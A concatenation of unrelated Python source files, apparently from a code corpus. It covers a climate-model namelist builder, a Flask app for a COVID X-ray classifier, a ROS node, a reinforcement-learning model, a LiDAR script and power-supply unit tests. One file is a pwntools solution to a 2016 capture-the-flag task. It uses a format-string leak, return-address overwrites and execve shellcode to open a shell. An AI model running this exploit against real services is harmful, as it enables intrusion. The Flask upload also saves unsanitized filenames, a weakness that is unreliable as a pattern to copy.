        tstring1 = "TREFHT,tas,t_ref,T2"
    else:
        tstring0 = "TREFHT_,TREFHT.,tas.,tas_,t_ref.,t_ref_,T2.,T2_"
        tstring1 = "TREFHT,tas,t_ref,T2"

    for gg,path in enumerate(paths):
        fsst = myGlob(paths[gg]+"*{"+tstring0+"}*.nc")
        if len(fsst) == 1:
            namelist_trefht.append(f'{names[gg]} | {fsst[0]} | {syear[gg]} | {eyear[gg]}')   # grab first file
        else:
            tpath = paths[gg].replace("/*/", "/{"+tstring1+"}/")
            namelist_trefht.append(f'{names[gg]} | {tpath}*{{{tstring0}}}*.nc | {syear[gg]} | {eyear[gg]}')

    f = open('namelist_byvar/namelist_trefht', 'w')    # line 224 NCL script
    for line in namelist_trefht:
        f.write(line + '\n')
    f.close()

    # ------- PRECT section--(more complicated due to PRECC+PRECL, + pr being a common 2 letter combination)------
    namelist_prect = []      # line 250 NCL script
    if obsflag:
        prect_i = indEQ(vnamesB, 'PRECT')
        if len(prect_i) > 0:
            for gg in prect_i:
                namelist_prect.append(f'{namesB[gg]} | {pathsB[gg]} | {syearB[gg]} | {eyearB[gg]}')
            # fill in the missing obs rows with the first obs file, altering the name slightly for .nc write-ouprect
            suffix = 1
            while len(namelist_prect) < maxnumobs:
                namelist_prect.append(f'{namesB[prect_i[0]]}_{str(suffix)} | {pathsB[prect_i[0]]} | {syearB[prect_i[0]]} | {eyearB[prect_i[0]]}')
                suffix += 1

            f = open('obs_prect', 'w')  # line 224 NCL script
            f.write(namelist_prect[0] + '\n')
            f.close()
        else:
            namelist_prect = ['missing']*maxnumobs

    pstring = ["pr_*", "pr.*", "_pr_*", ".pr.*", "PRECT.*", "PRECT_*", "PRECC.*", "PRECC_*", "precip_*", "precip.*",
               "prcp_*", "prcp.*", "prate_*", "prate.*"]
    for gg in range(nsims):     # line 272 NCL script
        #RLB the NCL script employs a different means for missing paths. It relies on
        #RLB that the systemfunc"ls ...") command will return a 1 element string result
        #RLB set to "missing" if the path is not matched. For every variable in pstring
        #RLB that is not matched, it (re)writes "missing" into the "current" position
        #RLB in the namelist_prect array until a match (if any) is found.
        #RLB Here, we are using a list and appending results -- there is no "current"
        #RLB index into namelist_prect. So we'll check at the end of the inner loop if
        #RLB anything has been found for the simulation, and force a "missing" into the
        #RLB list if not.
        foundPrect = False
        for pstringhh in pstring:
            fsst = myGlob(paths[gg]+"*"+pstringhh+".nc")
            if len(fsst) == 1:
                if pstringhh == 'PRECC.*' or pstringhh == 'PRECC_*':
                    tpath = paths[gg].replace("/*/", "/{PRECC,PRECL}/")
                    namelist_prect.append(f'{names[gg]} | {tpath}*{{PRECC,PRECL}}*.nc | {syear[gg]} | {eyear[gg]}')
                else:
                    namelist_prect.append(f'{names[gg]} | {fsst[0]} | {syear[gg]} | {eyear[gg]}')   # grab first file
                foundPrect = True
                break
            else:
                if pstringhh == 'PRECC.*' or pstringhh == 'PRECC_*':       # line 293 NCL script
                    tpath = paths[gg].replace("/*/", "/{PRECC,PRECL}/")
                    namelist_prect.append(f'{names[gg]} | {tpath}*{{PRECC,PRECL}}*.nc | {syear[gg]} | {eyear[gg]}')
                else:
                    tpath = ''
                    if pstringhh == 'pr_*' or pstringhh == 'pr.*' or pstringhh == '*_pr_*' or pstringhh == '*.pr.*':
                        tpath = paths[gg].replace("/*/", "/pr/")
                    if pstringhh == 'PRECT.*' or pstringhh == 'PRECT_*':
                        tpath = paths[gg].replace("/*/", "/PRECC/")
                    if len(tpath) > 0:
                        namelist_prect.append(f'[{names[gg]} | {tpath}*{pstringhh}*.nc | {syear[gg]} | {eyear[gg]}')
                    else:
                        namelist_prect.append(f'{names[gg]} | missing')
                foundPrect = True
                break
        if not foundPrect:
            namelist_prect.append(f'{names[gg]} | missing | {syear[gg]} | {eyear[gg]}')   # file is missing..

    f = open('namelist_byvar/namelist_prect', 'w')     # line 318 NCL script
    for line in namelist_prect:
        f.write(line + '\n')
    f.close()

    # ----- SNOWDP section---------------
    namelist_snowdp = []     # line 356 NCL script
    if obsflag:
        snowdp_i = indEQ(vnamesB, "SNOWDP")
        if len(snowdp_i) > 0:
            for gg in snowdp_i:
                namelist_snowdp.append(f'{namesB[gg]} | {pathsB[gg]} | {syearB[gg]} | {eyearB[gg]}')
            suffix = 1
            while len(namelist_snowdp) < maxnumobs:
                namelist_snowdp.append(f'{namesB[snowdp_i[0]]}_{str(suffix)} | {pathsB[snowdp_i[0]]} | {syearB[snowdp_i[0]]} | {eyearB[snowdp_i[0]]}')
                suffix += 1

            f = open('obs_snowdp', 'w')       # line 337 NCL script
            f.write(namelist_snowdp[0] + '\n')
            f.close()
        else:
            namelist_snowdp = ['missing']*maxnumobs

    sn_string = 'SNOWDP_,SNOWDP.,snd_,snd.'
    for gg in range(nsims):
        fsst = myGlob(paths[gg]+'*{'+sn_string+'}*.nc')
        if len(fsst) == 1:
            namelist_snowdp.append(f'{names[gg]} | {fsst[0]} | {syear[gg]} | {eyear[gg]}')   # grab first file
        else:
            tpath = paths[gg].replace("/*/", "/{SNOWDP,snd}/")     # explicitly specify SNOWDP/snd in directory structure to eliminate "/sndmin/" being used
            namelist_snowdp.append(f'{names[gg]} | {tpath}*{{SNOWDP_,SNOWDP.,snd_,snd.}}*.nc | {syear[gg]} | {eyear[gg]}')

    f = open('namelist_byvar/namelist_snowdp', 'w')    # line 354 NCL script
    for line in namelist_snowdp:
        f.write(line + '\n')
    f.close()

    # ------- MOC section----------------------------
    namelist_moc = []        # line 356 NCL script
    if obsflag:
        moc_i = indEQ(vnamesB, 'MOC')
        if len(moc_i):
            for gg in moc_i:
                namelist_moc.append(f'{namesB[gg]} | {pathsB[gg]} | {syearB[gg]} | {eyearB[gg]}')
            suffix = 1
            while len(namelist_moc) < maxnumobs:
                namelist_moc.append(f'{namesB[moc_i[0]]}_{str(suffix)} | {pathsB[moc_i[0]]} | {syearB[moc_i[0]]} | {eyearB[moc_i[0]]}')
                suffix += 1

            f = open('obs_moc', 'w')
            f.write(namelist_moc[0] + '\n')
            f.close()
        else:
            namelist_moc = ['missing']*maxnumobs

    for gg in range(nsims):
        fsst = myGlob(paths[gg]+"*{MOC_,MOC.,msftmyz.,msftmyz_,stfmmc.,stfmmc_}*.nc")   # /dev/null suppresses all standard error output
        if len(fsst) == 1:
            namelist_moc.append(f'{names[gg]} | {fsst[0]} | {syear[gg]} | {eyear[gg]}')   # grab first file
        else:
            tpath = paths[gg].replace("/*/", "/{MOC,msftmyz,stfmmc}/")
            namelist_moc.append(f'{names[gg]} | {tpath}*{{MOC_,MOC.,msftmyz.,msftmyz_,stfmmc.,stfmmc_}}*.nc | {syear[gg]} | {eyear[gg]}')

    f = open('namelist_byvar/namelist_moc', 'w')      # line 390 NCL script
    for line in namelist_moc:
        f.write(line + '\n')
    f.close()

    # ------- aice_nh section----------------------------
    namelist_aice_nh = []       # line 393 NCL script
    if obsflag:
        aice_nh_i = indEQ(vnamesB, "aice_nh") + indEQ(vnamesB, "AICE_NH")
        if len(aice_nh_i) > 0:
            for gg in aice_nh_i:
                namelist_aice_nh.append(f'{namesB[gg]} | {pathsB[gg]} | {syearB[gg]} | {eyearB[gg]}')
            suffix = 1
            while len(namelist_aice_nh) < maxnumobs:
                namelist_aice_nh.append(f'{namesB[aice_nh_i[0]]}_{str(suffix)} | {pathsB[aice_nh_i[0]]} | {syearB[aice_nh_i[0]]} | {eyearB[aice_nh_i[0]]}')
                suffix +=1

            f = open('obs_aice_nh', 'w')
            f.write(namelist_aice_nh[0] + '\n')
            f.close()
        else:
            namelist_aice_nh = ['missing']*maxnumobs

    for gg in range(nsims):
        fsst = myGlob(paths[gg]+'*{aice_nh.,aice.,sic_,sic.,.CN.,_CN_}*.nc')
        if len(fsst) == 1:
            namelist_aice_nh.append(f'{names[gg]} | {fsst[0]} | {syear[gg]} | {eyear[gg]}')   # grab first file
        else:
            tpath = paths[gg].replace("/*/", "/{aice,sic,aice_nh,CN}/")
            namelist_aice_nh.append(f'{names[gg]} | {tpath}*{{aice_nh.,aice.,sic_,sic.,.CN.,_CN_}}*.nc | {syear[gg]} | {eyear[gg]}')

    f = open('namelist_byvar/namelist_aice_nh', 'w')    # line 427 NCL script
    for line in namelist_aice_nh:
        f.write(line + '\n')
    f.close()

    # ------- aice_sh section----------------------------
    namelist_aice_sh = []         # line 429 NCL script
    if obsflag:
        aice_sh_i = indEQ(vnamesB, 'aice_sh') + indEQ(vnamesB, 'AICE_SH')
        if len(aice_sh_i) > 0:
            for gg in aice_sh_i:
                namelist_aice_sh.append(f'{namesB[gg]} | {pathsB[gg]} | {syearB[gg]} | {eyearB[gg]}')
            suffix = 1
            while len(namelist_aice_sh) < maxnumobs:     #fill in the missing obs rows with the first obs file, altering the name slightly for .nc write-outs
                namelist_aice_sh.append(f'{namesB[aice_sh_i[0]]}_{str(suffix)} | {pathsB[aice_sh_i[0]]} | {syearB[aice_sh_i[0]]} | {eyearB[aice_sh_i[0]]}')
                suffix += 1

            f = open('obs_aice_sh', 'w')   # line 446 NCL script
            f.write(namelist_aice_sh[0] + '\n')
            f.close()
        else:
            namelist_aice_sh = ['missing']*maxnumobs

    for gg in range(nsims):
        fsst = myGlob(paths[gg]+"*{aice_sh.,aice.,sic_,sic.,.CN.,_CN_}*.nc")
        if len(fsst) == 1:
            namelist_aice_sh.append(f'{names[gg]} | {fsst[0]} | {syear[gg]} | {eyear[gg]}')   # grab first file
        else:
            tpath = paths[gg].replace("/*/", "/{aice,sic,aice_sh,CN}/")
            namelist_aice_sh.append(f'{names[gg]} | {tpath}*{{aice_sh.,aice.,sic_,sic.,.CN.,_CN_}}*.nc | {syear[gg]} | {eyear[gg]}')

    f = open('namelist_byvar/namelist_aice_sh', 'w')   # line 463 NCL script
    for line in namelist_aice_sh:
        f.write(line + '\n')
    f.close()

    # ----------------------------------------------------------------------------
    print('Finished: namelist.py')

# -----------------------------------------------------------------------------------
# Emulates NCL's ind( .eq. ) function, when handed a set object
#
def indEQ(collection, item):
    indices = []
    for index, c in enumerate(collection):
        if c == item:
            indices.append(index)
    return indices

# -----------------------------------------------------------------------------------
# Implementation of "myGlob()"
#
# Python's glob.glob() function does not support so-called "brace-expansion", which is
# utilized heavily by this script. myGlob() provides the required behavior. It makes use of
# two functions, 'getitem()' and 'getgroup(), which have been taken from the Python example
# at:
#
#   https://rosettacode.org/wiki/Brace_expansion#Python
#
# Note that the rosettacode.org website states that: "Content is available under GNU Free Documentation License 1.2
# unless otherwise noted.":
#
#   https://rosettacode.org/wiki/Rosetta_Code (bottom of page, as of 9/20/2018)
#
# Beyond rosettacode.org, there is no author to directly cite.
#
def getitem(s, depth=0):
    out = [""]
    while s:
        c = s[0]
        if depth and (c == ',' or c == '}'):
            return out, s
        if c == '{':
            x = getgroup(s[1:], depth + 1)
            if x:
                out, s = [a + b for a in out for b in x[0]], x[1]
                continue
        if c == '\\' and len(s) > 1:
            s, c = s[1:], c + s[1]

        out, s = [a + c for a in out], s[1:]

    return out, s

def getgroup(s, depth):
    out, comma = [], False
    while s:
        g, s = getitem(s, depth)
        if not s: break
        out += g

        if s[0] == '}':
            if comma: return out, s[1:]
            return ['{' + a + '}' for a in out], s[1:]

        if s[0] == ',':
            comma, s = True, s[1:]

    return None

def myGlob(path):
    for s in path.split('\n'):
        expandedPath = getitem(s)[0]

    filelist = []
    for file in expandedPath:
        filelist += glob.glob(file)

    if len(filelist) == 0:  # this emulates the systemfunc returned value when no match is found
        filelist.append('missing')

    return filelist

# -----------------------------------------------------------------------------------

if __name__ == '__main__':
    run()


import os

import tensorflow as tf
from tensorflow.keras.optimizers import Adam
from keras.models import load_model
from flask import *
import numpy as np
import matplotlib.pyplot as plt
import cv2

from PIL import Image
from keras.preprocessing.image import load_img
from tensorflow.python.keras.backend import set_session
INIT_LR = 1e-3
EPOCHS = 5
BS = 8
print (tf.__version__)
opt = Adam(lr=INIT_LR, decay=INIT_LR / EPOCHS)

app = Flask(__name__,template_folder="F:/Covid-Xray-analyser/")

global sess
global graph

MODEL_PATH = 'model/covid_model.h5'

graph2 = tf.Graph()

model=tf.keras.models.load_model(MODEL_PATH)

model.compile(loss="binary_crossentropy",optimizer=opt,metrics=["accuracy"])

def model_predict(img_path, model):
    img = tf.keras.preprocessing.image.load_img(img_path,target_size=(224,224))
    imgplot=plt.imshow(img)
    m= np.array(img) / 255.

    m=np.expand_dims(m,axis=0)

    classes=model.predict(m)
    print(classes)
    new_pred=np.argmax(classes,axis=1)
    print(new_pred)
    return new_pred

@app.route('/')
def upload():
    return render_template("templates/index.html")

@app.route('/', methods = ['POST'])
def success():
    classes = ['covid','normal','invalid']

    if request.method == 'POST':
        f = request.files['file']
        basepath = os.path.dirname(__file__)
        file_path = os.path.join(
            basepath, 'uploads', f.filename)
        f.save(file_path)

        new=model_predict(file_path, model)

        if(new==[1]):
            return render_template("templates/negative.html")

        else:
            return render_template("templates/positive.html")

    return None

if __name__ == '__main__':
    app.run(debug = False)


#!/usr/bin/env python

import rospy
import message_filters
from sensor_msgs.msg import Image
from jsk_recognition_msgs.msg import TrackArray
from cv_bridge import CvBridge
from jsk_recognition_utils.panorama_utils import visualize_tracks

class DrawTracks(object):

    def __init__(self):

        self.bridge = CvBridge()
        self.pub_viz = rospy.Publisher('~output', Image, queue_size=1)
        self.subscribe()

    def subscribe(self):

        queue_size = rospy.get_param('~queue_size', 100)
        sub_image = message_filters.Subscriber('~input', Image)
        sub_tracks = message_filters.Subscriber('~input/tracks', TrackArray)
        self.subs = [sub_image, sub_tracks]
        if rospy.get_param('~approximate_sync', False):
            slop = rospy.get_param('~slop', 0.1)
            self.sync = message_filters.ApproximateTimeSynchronizer(
                fs=self.subs, queue_size=queue_size, slop=slop)
        else:
            self.sync = message_filters.TimeSynchronizer(
                fs=self.subs, queue_size=queue_size)
        self.sync.registerCallback(self.callback)

    def callback(self, img_msg, tracks_msg):

        if self.pub_viz.get_num_connections() > 0:
            input_frame = self.bridge.imgmsg_to_cv2(
                img_msg, desired_encoding='bgr8')
            visualized_frame = visualize_tracks(input_frame, tracks_msg)
            msg = self.bridge.cv2_to_imgmsg(visualized_frame, "bgr8")
            msg.header = img_msg.header
            self.pub_viz.publish(msg)

if __name__ == '__main__':
    rospy.init_node('draw_tracks')
    node = DrawTracks()
    rospy.spin()


# -*- coding: utf-8 -*-
"""
Created on Thu Jan 25 16:51:38 2018

@author: cinotti
"""

import numpy as np
#from TaskVariables import SxA_F, SxA_S, SxA_R, n_states

def LastState(n_states):
    return n_states - 1

def Feature(SxA_F, state,action):
    # returns feature for a given state and action
    return int(SxA_F[state, action])

def PossibleFeatures(SxA_F, state):
    # returns the possible features corresponding to a given state
    f = SxA_F[state, :]
    f = f[~np.isnan(f)]
    return f.astype(int)

def NextState(SxA_S, state, action):
    # returns next state for a given action * state
    return int(SxA_S[state, action])

def PossibleActions(SxA_S, state):
    # returns the possible actions in a given state
    f = SxA_S[state, :]
    actions = np.argwhere(~np.isnan(f))
    return actions

def FMF_component(SxA_R, SxA_F, SxA_S, state, action, V, alpha, gamma, flupenthixol):
    n_states = np.size(SxA_R,0)
    c = Feature(SxA_F, state, action)
    r = SxA_R[state, action]
    if state != LastState(n_states):
        next_features = PossibleFeatures(SxA_F, NextState(SxA_S, state, action))
        delta = r + gamma * max(V[next_features]) - V[c]
    else :
        delta = r - V[c]

    # inhibition by flupenthixol
    if delta != 0:
        if (delta - flupenthixol) / delta >= 0:
            delta -= flupenthixol
        else :
            delta = 0
    V[c] = V[c] + alpha * delta
    return {'Value' : V, 'DA' : delta}

def MB_component(SxA_R, SxA_F, SxA_S, state, action, Q, T, R, alpha, gamma):
    n_states = np.size(SxA_R,0)
    r = SxA_R[state, action]
    R[state, action] = R[state, action] + alpha * (r - R[state, action])
    if state != LastState(n_states): # task is episodic, transition from last state to state 0 must be treated differently
        next_state = NextState(SxA_S, state, action)
        T[state, action, :] = (1 - alpha) * T[state, action, :]
        T[state, action, next_state] += alpha
        maxQ = np.amax(Q, axis = 1)
        Q[state, action] = R[state, action] + gamma * np.dot(T[state, action, :], maxQ)
    else :
        Q[state, action] = R[state, action]

    return {'Transition function': T, 'MB reward function' : R, 'Qvalues': Q}

def ActionDistribution(SxA_S, SxA_F, state, omega, alpha, gamma, Q, T, R, V, beta, flupenthixol, injection):
    actions = PossibleActions(SxA_S, state)
    n_possibleactions = len(actions)
    P = np.zeros(n_possibleactions)
    for index, action in enumerate(actions):
        c = Feature(SxA_F, state, action)
        Advantage = Q[state, action] - max(Q[state, :])
        P[index] = (1 - omega) * Advantage + omega * V[c]

    distribution = np.zeros(n_possibleactions)
    if injection == 'systemic':
        beta = beta / (1 - flupenthixol)
    for i in range(n_possibleactions):
        distribution[i] = np.exp(P[i] / beta) / sum(np.exp(P[:] / beta))
    j = np.random.choice(n_possibleactions, 1, p=distribution)
    choice = actions[j]
    return {'Action probabilities':distribution, 'Choice': choice, 'Pvalues': P}


# coding: utf-8

# NIDEM LiDAR extraction
#
# This script imports LiDAR .las files, extracts a 1% sample of LiDAR points from the point cloud,
# and exports these as .csv files of xyz points with a datestamp based on the time of each point's acquisition.
# This is then used as an input to `lidar_tidaltagging.py`, where non-inundated points are identified by
# selecting points located above the water's surface at the time each point was acquired.
#
# Date: October 2018
# Author: Robbi Bishop-Taylor, Steven Sagar, Leo Lymburner

import os
import math
import itertools
import pandas as pd
from pyproj import Proj, transform

#########
# Setup #
#########

# Read in setup parameters from file
os.chdir('C:/Users/u69654/Projects/nidem-GA/')
study_areas_df = pd.read_csv('lidar_study_areas.csv', index_col=0)
study_areas = study_areas_df.to_dict('index')

for name in ['Fraser', 'Whitsunday', 'Gladstone', 'Rockhampton', 'Isaac', 'Mackay', 'Fraser', 'Kaurumba']:

    # Read in study area details
    input_location = study_areas[name]['input_loc']

    # Create list of all lidar tiles that occur within given bounding box
    ul_lon, ul_lat = [float(coord) for coord in study_areas[name]['bbox_ul'].split(",")]
    br_lon, br_lat = [float(coord) for coord in study_areas[name]['bbox_br'].split(",")]

    # Convert lat-lon coordinates to local MGA zone
    mga_zone = study_areas[name]['mga_zone']
    proj_crs = {54: 'EPSG:28354', 55: 'EPSG:28355', 56: 'EPSG:28356'}[mga_zone]
    (ul_x, br_x), (ul_y, br_y) = transform(p1=Proj(init='EPSG:4326'), p2=Proj(init=proj_crs),
                                           x=[ul_lon, br_lon], y=[ul_lat, br_lat])

    # For each unique combination of 1x1km coordinates, produce file string
    all_combs = list(itertools.product(range(int(ul_x), int(br_x), 1000),
                                       range(int(ul_y), int(br_y), -1000)))
    loc_strings = set([str(math.floor(x / 1000)) + str(math.floor(y / 1000)) for x, y in all_combs])
    file_keys = [study_areas[name]['input_name'].format(loc) for loc in loc_strings]
    print(len(file_keys))

    ########################
    # Extract LAS into csv #
    ########################

    for file_key in file_keys:

        input_filename = '{}{}.las'.format(input_location, file_key)
        output_dir = os.path.normpath('{}/raw_data/validation'.format(os.getcwd()))
        output_filename = "{}_{}.csv".format(mga_zone, file_key)
        print('Downloading and extracting {}, MGA zone {}'.format(file_key, mga_zone))

        # If input file exists and not already processed, extract from LAS
        if os.path.isfile(input_filename) and not os.path.isfile('raw_data/validation/{}'.format(output_filename)):

            try:

                # Use lastools to convert data to text
                las2text_string = 'C:/Users/u69654/Desktop/lastools/LAStools/bin/las2txt.exe ' \
                                  '-i "{0}" ' \
                                  '-keep_random_fraction 0.01 ' \
                                  '-drop_classification 7 ' \
                                  '-odir "{1}" -o "temp.txt" ' \
                                  '-parse xyzcpt -sep comma'.format(input_filename, output_dir)
                os.system(las2text_string)

                # Read temporary file in and convert coordinates to lat/long
                points_df = pd.read_csv('{}/temp.txt'.format(output_dir), sep=',', header=None,
                                        names=['point_x', 'point_y', 'point_z', 'point_cat', 'point_path', 'point_time'])

                # Assign tide point
                tidepoint_lon, tidepoint_lat = [float(coord) for coord in study_areas[name]['tide_point'].split(",")]

                # Compute lon-lat coordinates for each point
                point_lon, point_lat = transform(p1=Proj(init=proj_crs), p2=Proj(init='EPSG:4326'),
                                                 x=points_df['point_x'].values, y=points_df['point_y'].values)

                # Assign tidepoint and point lon/lat to columns
                points_df['tidepoint_lon'] = tidepoint_lon
                points_df['tidepoint_lat'] = tidepoint_lat
                points_df['point_lon'] = point_lon
                points_df['point_lat'] = point_lat

                # Export to file
                points_df.to_csv('raw_data/validation/{}'.format(output_filename), index=False)

                # Clean up files
                points_df = None
                os.remove('raw_data/validation/temp.txt')

            except:

                print('Failed tile {}'.format(file_key))

#####################
# Export shapefiles #
#####################

# # Export Lidar sample sites to file
# lidar_val_sites = pd.DataFrame.from_dict({key:value["tide_point"].split(",") for key, value in study_areas.items()}, orient='index')
# lidar_val_sites.columns = ['longitude', 'latitude']
# lidar_val_sites.to_csv("lidar_validation_sites.csv")

# from shapely.geometry import mapping, Polygon
# import fiona
#
# # Import and plit columns
# lidar_val_sites = pd.DataFrame.from_dict(study_areas, orient='index')
# lidar_val_sites['bbox_ul'] = lidar_val_sites['bbox_ul'].str.split(',')
# lidar_val_sites['bbox_br'] = lidar_val_sites['bbox_br'].str.split(',')
#
# # Define a polygon feature geometry with one attribute
# schema = {'geometry': 'Polygon',
#           'properties': {'id': 'str'}}
#
# # Write a new Shapefile
# with fiona.open('lidar_validation_sites.shp', 'w', 'ESRI Shapefile', schema,
#                 crs={'init': 'epsg:4326', 'no_defs': True}) as shapefile:
#
#     for row in range(0, len(lidar_val_sites), 1):
#
#         # Here's an example Shapely geometry
#         (a, b), (c, d) = lidar_val_sites.iloc[row, 2:4]
#         point_list = list(itertools.product([float(a), float(c)], [float(b), float(d)]))
#
#         poly = Polygon([point_list[i] for i in [0, 2, 3, 1]])
#
#         # If there are multiple geometries, put the "for" loop here
#         shapefile.write({'geometry': mapping(poly),
#                          'properties': {'id': lidar_val_sites.index[row]}})


#!/usr/bin/python
x=int(raw_input('Enter an integer: '))

for ans in range(0,abs(x)+1):
    if ans**2==abs(x):
        break
if ans**2!=abs(x):
 print(str(x) + ' is not a perfect square')
else:
    if x < 0:
      ans=-ans
    print('The square root of ' + str(x) + ' is ' + str(ans) + '.')


#!/usr/bin/python

from pwn import *

context(arch='x86', os='linux', endian='little', word_size=64)

sample_rsp = 0x00007fffffffda40
sample_rbp = 0x00007fffffffda90
sample_abstract = 0x7fffffffdce0
sample_ret = 0x7fffffffda58

#p = process('./web_of_science')
#p = gdb.debug(['./web_of_science'])
p = remote('webofscience.2016.volgactf.ru', 45678)

p.recvline()
p.send('xairy\n')
p.recvline()

for i in xrange(10):
  line = p.recvline()
  nums = map(int, line.split(':')[-1].split('=')[0].split('+'))
  p.send(str(sum(nums)) + '\n')

p.recvuntil('> ')
p.send('1\n') # add paper

def get_rbp():
  p.recvuntil('> ')
  p.send('3\n') # add abstract

  p.recvuntil(': ')
  p.send('%p %p %p %p %p %p %p' + '\n')

  p.recvuntil('> ')
  p.send('5\n') # view paper info

  p.recvuntil('Abstract:')
  p.recvline()
  line = p.recvline()
  rbp = line.split()[-1]
  rbp = int(rbp, 16)

  return rbp

rbp = get_rbp()
ret = sample_ret - sample_rbp + rbp

ret1 = ret + 6
ret2 = ret + 4
ret3 = ret + 2
ret4 = ret

ret1_val = 0x0000
ret2_val = 0x7fff
ret3_val = 0xffff
ret4_val = (rbp & 0xffff) + 512 + 64

p.recvuntil('> ')
p.send('3\n') # add abstract

p.recvuntil(': ')

payload = '%' + str(int(ret2_val)) + 'x' + '%85$hn'
payload += '%' + str(int(ret4_val - ret2_val)) + 'x' + '%86$hn'
payload += '%' + str(int(ret3_val - ret4_val)) + 'x' + '%87$hn'

payload += '_' * (8 - (len(payload) % 8))

payload += p64(ret2)
payload += p64(ret4)
payload += p64(ret3)

payload += '\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05'

p.send(payload + '\n')

p.recvuntil('> ')
p.send('5\n') # view paper info

# rsp + 16 == ret addr

p.interactive()


from unittest import TestCase
import unittest
import serial
import sys
from fixate.drivers.pps.bk_178x import BK178X

out = sys.stdout
nl = '\n'

@unittest.skip("Requires instrument connected to run")
class PacketFormedCorrectly(TestCase):
    length_packet = 26

    def setUp(self):
        self.test_cls = BK178X(None)
        self.test_cls.address = 0

    def _build_byte_array(self, iterable):
        return ''.join(chr(i) for i in iterable)

    def _calculate_checksum(self, cmd):
        assert ((len(cmd) == self.length_packet - 1) or (len(cmd) == self.length_packet))
        checksum = 0
        for i in range(self.length_packet - 1):
            checksum += ord(cmd[i])
        checksum %= 256
        return checksum

    def test_max_voltage_command(self):
        """
        Known command to work with powersupply
        :return:
        """
        max_voltage_5_command = bytearray(26)
        max_voltage_5_command[0:5] = [0xaa, 0x00, 0x22, 0x88, 0x13]
        max_voltage_5_command[-1] = 0x67
        self.assertTrue(self.test_cls.CommandProperlyFormed(self._build_byte_array(max_voltage_5_command)))

    def test_checksum(self):
        """Return the sum of the bytes in cmd modulo 256.
        """
        max_voltage_5_command = bytearray(26)
        max_voltage_5_command[0:5] = [0xaa, 0x00, 0x22, 0x88, 0x13]
        max_voltage_5_command[-1] = 0x67
        self.assertEqual(self.test_cls.CalculateChecksum(self._build_byte_array(max_voltage_5_command[:-1])), 0x67)
        max_voltage_5_command[0] = 0x00
        self.assertEqual(self.test_cls.CalculateChecksum(self._build_byte_array(max_voltage_5_command[:-1])), 0xbd)
        self.assertEqual(self.test_cls.CalculateChecksum(self._build_byte_array([0x00] * 25)), 0x00)
        # Test that it ignores the last element if it is a full length packet
        max_voltage_5_command[-1] = 0x67
        self.assertEqual(self.test_cls.CalculateChecksum(self._build_byte_array(max_voltage_5_command)), 0xbd)
        max_voltage_5_command[-1] = 0xbd
        self.assertEqual(self.test_cls.CalculateChecksum(self._build_byte_array(max_voltage_5_command)), 0xbd)

    def test_start_byte(self):
        max_voltage_5_command = bytearray(26)
        max_voltage_5_command[0:5] = [0xaa, 0x00, 0x22, 0x88, 0x13]
        max_voltage_5_command[-1] = 0x67
        for x in range(170):
            max_voltage_5_command[0] = x
            max_voltage_5_command[-1] = self.test_cls.CalculateChecksum(
                self._build_byte_array(max_voltage_5_command[:-1]))
            self.assertFalse(self.test_cls.CommandProperlyFormed(self._build_byte_array(max_voltage_5_command)))
        max_voltage_5_command[0] = 170
        max_voltage_5_command[-1] = self.test_cls.CalculateChecksum(self._build_byte_array(max_voltage_5_command[:-1]))
        self.assertTrue(self.test_cls.CommandProperlyFormed(self._build_byte_array(max_voltage_5_command)))

    def test_address(self):
        command = bytearray(26)
        max_voltage_5_command = command
        max_voltage_5_command[0:5] = [0xaa, 0x00, 0x22, 0x88, 0x13]
        max_voltage_5_command[-1] = 0x67
        for x in range(0xff):
            max_voltage_5_command[1] = x
            max_voltage_5_command[-1] = self.test_cls.CalculateChecksum(self._build_byte_array(max_voltage_5_command))
            self.assertTrue(self.test_cls.CommandProperlyFormed(self._build_byte_array(max_voltage_5_command)))
        max_voltage_5_command[1] = 0xff
        max_voltage_5_command[-1] = self.test_cls.CalculateChecksum(self._build_byte_array(max_voltage_5_command))
        self.assertFalse(self.test_cls.CommandProperlyFormed(self._build_byte_array(max_voltage_5_command)))

    def test_commands(self):
        test_command = bytearray(26)
        test_command[0] = 0xaa
        test_command[-1] = self.test_cls.CalculateChecksum(self._build_byte_array(test_command))
        commands = (
            0x20, 0x21, 0x22, 0x23, 0x24, 0x25, 0x26, 0x27, 0x28, 0x29,
            0x2A, 0x2B, 0x2C, 0x2D, 0x2E, 0x2F, 0x31, 0x32, 0x37, 0x12
        )
        for x in range(0xff):
            test_command[2] = x
            test_command[-1] = self.test_cls.CalculateChecksum(self._build_byte_array(test_command))
            self.assertEqual(self.test_cls.CommandProperlyFormed(self._build_byte_array(test_command)), x in commands)

    def test_command_checksum(self):
        test_command = bytearray(26)
        test_command[0:5] = [0xaa, 0x00, 0x22, 0x88, 0x13]
        for y in range(0xff):
            test_command[3] = y
            for x in range(0xff):
                test_command[-1] = x
                test_resp = x == self.test_cls.CalculateChecksum(self._build_byte_array(test_command))
                self.assertEqual(self.test_cls.CommandProperlyFormed(self._build_byte_array(test_command)), test_resp)

class BKPS178xInterface(TestCase):
    length_packet = 26

    def setUp(self):
        self.test_cls = BK178X(None)
        self.test_cls._address = 0

    def _build_byte_array(self, iterable):
        return ''.join(chr(i) for i in iterable).encode()

    def _command_properly_formed(self, cmd):
        '''Return 1 if a command is properly formed; otherwise, return 0.
        '''
        commands = (
            0x20, 0x21, 0x22, 0x23, 0x24, 0x25, 0x26, 0x27, 0x28, 0x29,
            0x2A, 0x2B, 0x2C, 0x2D, 0x2E, 0x2F, 0x31, 0x32, 0x37, 0x12
        )
        # Must be proper length
        if len(cmd) != self.length_packet:
            # out("Command length = " + str(len(cmd)) + "-- should be " + \
            # str(self.length_packet) + nl)
            return 0
        # First character must be 0xaa
        if cmd[0] != 0xaa:
            # out("First byte should be 0xaa" + nl)
            return 0
        # Second character (address) must not be 0xff
        if cmd[1] == 0xff:
            # out("Second byte cannot be 0xff" + nl)
            return 0
        # Third character must be valid command
        if cmd[2] not in commands:
            # out("Third byte not a valid command:  %s\n" % byte3)
            return 0
        # Calculate checksum and validate it
        checksum = self._calculate_checksum(cmd)
        if checksum != cmd[-1]:
            # out("Incorrect checksum" + nl)
            return 0
        return 1

    def _calculate_checksum(self, cmd):
        '''Return the sum of the bytes in cmd modulo 256.
        '''
        assert ((len(cmd) == self.length_packet - 1) or (len(cmd) == self.length_packet))
        return sum(cmd[:-1]) % 256

    def test_command_properly_formed(self):
        command = bytearray(26)
        max_voltage_5_command = command
        max_voltage_5_command[0:5] = [0xaa, 0x00, 0x22, 0x88, 0x13]
